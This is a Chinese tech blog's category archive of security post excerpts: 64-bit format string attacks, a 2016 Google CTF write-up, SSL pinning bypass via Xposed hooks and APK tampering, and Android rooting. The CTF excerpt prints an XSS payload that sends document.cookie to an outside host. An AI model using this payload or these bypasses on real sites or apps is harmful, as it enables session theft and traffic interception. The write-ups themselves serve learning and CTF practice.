Category Archives: 技术

64位机器上的Format String攻击

0x00 Format String攻击基础

  1. printf里的%n意味将之前输出的字符的个数输入到指定的参数里,比如
    printf("aaa%n",&num);
    

    此时num的值为3。

  2. printf里的数字+$可以指定要输出第几个参数,比如:

    int num1 = 1;
    int num2 = 2;
    printf("%2$d,%1$d\n",num1,num2);
    

    输出为2,1。

  3. 本文实验环境为ubuntu 12.04,64bit,网上有一些32bit的攻击已经过时了。参考:how-to-use-format-string-attack
    Continue reading

2016_google_ctf_writeup

0x00 我的第一场CTF

第一次参加CTF,google的CTF,和公司的同事一起参加的,最后2400多个队里排到了第34名,不过我自己只解出来五道题。

0x01 Wallowing Wallabies - Part One

从robots.txt里找到可以攻击的页面,第一个可以攻击的页面是deep-blue-sea/team/vendors,用一个简单的XSS就可以拿到cookie,使用该cookie登陆即可。Payload:

</pre><script src=""></script>
<img id="atk"><script>document.getElementById("atk").src="http://www.mydomain.com/xxx.php?val="+document.cookie</script><pre>

Continue reading

Xposed Framework使用方法以及SSL pinning绕过

0x00 上文

前一篇文章APK篡改以及SSL PINNING绕过介绍了使用APK篡改的方式绕过SSL pinning,本文则使用另一种思路,无需篡改APK,而是用hook绕过SSL pinning。

首先,测试一下SSLPinningExample在接入burp代理时是无法请求github的:在电脑上启动burp,在手机上启动ProxyDroid,然后打开SSLPinningExample,,点击test按钮,发现无法请求github。

为了能使SSLPinningExample在接入burp时也能请求github,我们需要用hook绕过SSL Pinning。

0x01 Xposed Framwork

先来学习一下如何使用Xposed Framework。
Continue reading

APK篡改以及SSL Pinning绕过

0x00 示例文件

本文部分参考该文章:Bypassing SSL Pinning on Android via Reverse Engineering,以SSLPinningExample为例讲解如何篡改APK以及绕过SSL Pinning。关于SSL Pinning可以参见Your app shouldn't suffer SSL's problems

首先,作为准备工作,我们要下载本次的实验对象:SSLPinningExample。该APK是一个简单的请求github首页的app,但是在它内部对证书进行了测试,如果发现请求目标网站提供的证书不是github的官方证书,则无法获取github首页。

0x01 修复示例文件

刚开始我们直接安装这个APK试试,结果发现竟然无法获取github首页,看一下logcat打的log:javax.net.ssl.SSLPeerUnverifiedException: No peer certificate,是证书出了问题。仔细想了一下,应该是因为这个APK发布的时间太早了,github的证书应该已经变动过了,APK内藏的证书pin不管用了。所以我们第一步是要把这个APK给修复了。
Continue reading

Android Root化总结

0x00 背景

之前在公司做了一下三星S6 Edge的root化,第一次做root化,加上该机器比较新,没有一键root,绕了很多远路,整理一下自己的理解。

最近自己买了一个二手Nexus5,也拿来root了一下,相对简单一些。

0x01 名词解释

(Custom) ROM:ROM原本是手机里的非易失性存储,因为手机的操作系统是装在ROM里,所以现在几乎都是指代手机的操作系统/刷机包。Custom ROM就是特指第三方刷机包,但是Custom会经常被省略,直接用ROM来表示第三方刷机包。  

Continue reading